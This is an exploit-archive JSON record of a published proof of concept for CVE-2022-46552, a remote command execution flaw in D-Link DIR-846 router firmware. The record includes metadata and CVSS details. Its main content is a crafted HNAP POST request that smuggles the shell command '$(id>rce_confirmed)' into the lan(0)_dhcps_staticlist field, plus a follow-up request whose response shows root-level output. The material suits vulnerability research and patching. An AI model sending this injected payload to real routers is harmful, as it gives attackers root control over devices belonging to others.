{"exploit":{"id":"EDB-51243","name":"D-Link DIR-846 - Remote Command Execution (RCE)","description":"D-Link DIR-846 - Remote Command Execution (RCE)","cves":["CVE-2022-46552"],"author":"Françoa Taffarel","published":"2023-04-05","platform":"hardware","type":"remote","language":"Text","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/51243","path":"exploits/hardware/remote/51243.txt","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-51243.txt","vulnerabilities":[{"id":"CVE-2022-46552","state":"PUBLISHED","title":null,"titleSource":null,"description":"D-Link DIR-846 Firmware FW100A53DBR was discovered to contain a remote command execution (RCE) vulnerability via the lan(0)_dhcps_staticlist parameter. This vulnerability is exploited via a crafted POST request.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2022-46552","cvss":{"version":"3.1","baseScore":8.8,"severity":"high","vectorString":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","source":"CISA-ADP","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2022-46552"},"updatedAt":"2025-03-27T14:05:48.085Z","retrievedAt":"2026-11-25T20:02:36.982Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-51243.png?v=2","url":"https://exploitbin.com/exploits/EDB-51243","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-51243/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-51243/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"# Exploit Title: D-Link DIR-846 - Remote Command Execution (RCE) vulnerability\n# Google Dork: NA\n# Date: 30/01/2023\n# Exploit Author: Françoa Taffarel\n# Vendor Homepage:\nhttps://www.dlink.com.br/produto/roteador-dir-846-gigabit-wi-fi-ac1200/#suportehttps://www.dlink.com.br/wp-content/uploads/2020/02/DIR846enFW100A53DBR-Retail.zip\n# Software Link:\nhttps://www.dlink.com.br/wp-content/uploads/2020/02/DIR846enFW100A53DBR-Retail.zip\n# Version: DIR846enFW100A53DBR-Retail\n# Tested on: D-LINK DIR-846\n# CVE : CVE-2022-46552\n\nD-Link DIR-846 Firmware FW100A53DBR was discovered to contain a remote\ncommand execution (RCE) vulnerability via the lan(0)_dhcps_staticlist\nparameter. This vulnerability is exploited via a crafted POST request.\n\n### Malicious POST Request\n```\nPOST /HNAP1/ HTTP/1.1\nHost: 192.168.0.1\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:107.0) Gecko/20100101\nFirefox/107.0\nAccept: application/json\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nContent-Type: application/json\nSOAPACTION: \"http://purenetworks.com/HNAP1/SetIpMacBindSettings\"\nHNAP_AUTH: 0107E0F97B1ED75C649A875212467F1E 1669853009285\nContent-Length: 171\nOrigin: http://192.168.0.1\nConnection: close\nReferer: http://192.168.0.1/AdvMacBindIp.html?t=1669852917775\nCookie: PHPSESSID=133b3942febf51641c4bf0d81548ac78; uid=idh0QaG7;\nPrivateKey=DBA9B02F550ECD20E7D754A131BE13DF; timeout=4\n\n{\"SetIpMacBindSettings\":{\"lan_unit\":\"0\",\"lan(0)_dhcps_staticlist\":\"1,$(id>rce_confirmed),02:42:d6:f9:dc:4e,192.168.0.15\"}}\n```\n\n\n### Response\n\n```\nHTTP/1.1 200 OK\nX-Powered-By: PHP/7.1.9\nExpires: Thu, 19 Nov 1981 08:52:00 GMT\nCache-Control: no-store, no-cache, must-revalidate\nPragma: no-cache\nContent-type: text/html; charset=UTF-8\nConnection: close\nDate: Thu, 01 Dec 2022 11:03:54 GMT\nServer: lighttpd/1.4.35\nContent-Length: 68\n\n{\"SetIpMacBindSettingsResponse\":{\"SetIpMacBindSettingsResult\":\"OK\"}}\n```\n\n\n### Data from RCE Request\n\n```\nGET /HNAP1/rce_confirmed HTTP/1.1\nHost: 192.168.0.1\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:107.0) Gecko/20100101\nFirefox/107.0\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nConnection: close\nCookie: PHPSESSID=133b3942febf51641c4bf0d81548ac78; uid=ljZlHjKV;\nPrivateKey=846232FD25AA8BEC8550EF6466B168D9; timeout=1\nUpgrade-Insecure-Requests: 1\n```\n\n\n### Response\n\n```\nHTTP/1.1 200 OK\nContent-Type: application/octet-stream\nAccept-Ranges: bytes\nContent-Length: 24\nConnection: close\nDate: Thu, 01 Dec 2022 23:24:28 GMT\nServer: lighttpd/1.4.35\n\nuid=0(root) gid=0(root)\n```","sha256":"3caaf7d27da51aeb9ed612b4ff19f680a140662831e3b2cf6aed073c53de6870","bytes":2603,"fetchedAt":"2026-11-26T14:08:51.309Z","encoding":"utf-8 (display only; download retains original bytes)"}